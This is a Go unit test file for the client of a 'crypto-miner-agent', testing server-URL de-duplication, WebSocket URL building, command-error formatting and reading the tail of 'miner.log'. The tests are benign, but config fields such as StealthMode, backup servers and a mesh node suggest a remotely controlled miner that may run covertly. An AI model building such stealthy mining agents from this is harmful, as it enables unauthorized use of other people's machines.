package client import ( "os" "path/filepath" "strings" "testing" "crypto-miner-agent/config" ) func TestBuildServerURLListDedupes(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ ServerURL: "https://primary.example", BackupServerURLs: []string{"https://backup.example", "https://primary.example", " "}, }} urls := buildServerURLList(cfg) if len(urls) != 2 { t.Fatalf("expected 2 urls, got %v", urls) } if urls[0] != "https://primary.example" || urls[1] != "https://backup.example" { t.Fatalf("unexpected order: %v", urls) } } func TestBuildServerURLListEmptyFallback(t *testing.T) { cfg := config.RuntimeConfig{} urls := buildServerURLList(cfg) if len(urls) != 1 || urls[0] != "" { t.Fatalf("expected single empty fallback, got %v", urls) } } func TestBuildWSURL(t *testing.T) { cases := []struct { in, want string err bool }{ {"https://hub.example/", "wss://hub.example/ws/agent", false}, {"http://hub.example:8080", "ws://hub.example:8080/ws/agent", false}, {"hub.example", "ws://hub.example/ws/agent", false}, {"wss://hub.example/extra/", "wss://hub.example/extra/ws/agent", false}, {"ftp://hub.example", "", true}, } for _, tc := range cases { got, err := buildWSURL(tc.in) if tc.err { if err == nil { t.Fatalf("%q: expected error", tc.in) } continue } if err != nil { t.Fatalf("%q: %v", tc.in, err) } if got != tc.want { t.Fatalf("%q: got %q want %q", tc.in, got, tc.want) } } } func TestFormatCmdErr(t *testing.T) { got := formatCmdErr(os.ErrPermission, []byte("denied")) if !strings.Contains(got, "permission denied") || !strings.Contains(got, "denied") { t.Fatalf("unexpected: %q", got) } } func TestReadLogTailDisabled(t *testing.T) { cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ FileLogging: false, StealthMode: true, }} _, err := readLogTail(cfg, 50) if err == nil || !strings.Contains(err.Error(), "logging disabled") { t.Fatalf("expected disabled error, got %v", err) } } func TestReadLogTailFromInstallDir(t *testing.T) { dir := t.TempDir() cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ FileLogging: true, StealthMode: false, InstallBase: "custom", InstallCustomBase: dir, InstallRelativePath: ".", }} logPath := filepath.Join(dir, "miner.log") content := "line1\nline2\nline3\nline4\n" if err := os.WriteFile(logPath, []byte(content), 0644); err != nil { t.Fatal(err) } got, err := readLogTail(cfg, 2) if err != nil { t.Fatal(err) } if !strings.Contains(got, "line3") || !strings.Contains(got, "line4") { t.Fatalf("expected tail lines, got %q", got) } if strings.Contains(got, "line1") { t.Fatal("should not include older lines beyond tail") } } func TestReadLogTailMissingFile(t *testing.T) { dir := t.TempDir() cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ FileLogging: true, InstallBase: "custom", InstallCustomBase: dir, InstallRelativePath: ".", }} _, err := readLogTail(cfg, 10) if err == nil || !strings.Contains(err.Error(), "miner.log not found") { t.Fatalf("expected not found, got %v", err) } } func TestNewAgentClientDefaults(t *testing.T) { cfg := config.RuntimeConfig{AgentID: "agent-1"} c := NewAgentClient(cfg) if c.agentID != "agent-1" { t.Fatalf("agent id %q", c.agentID) } if c.mesh == nil { t.Fatal("mesh node should be initialized") } }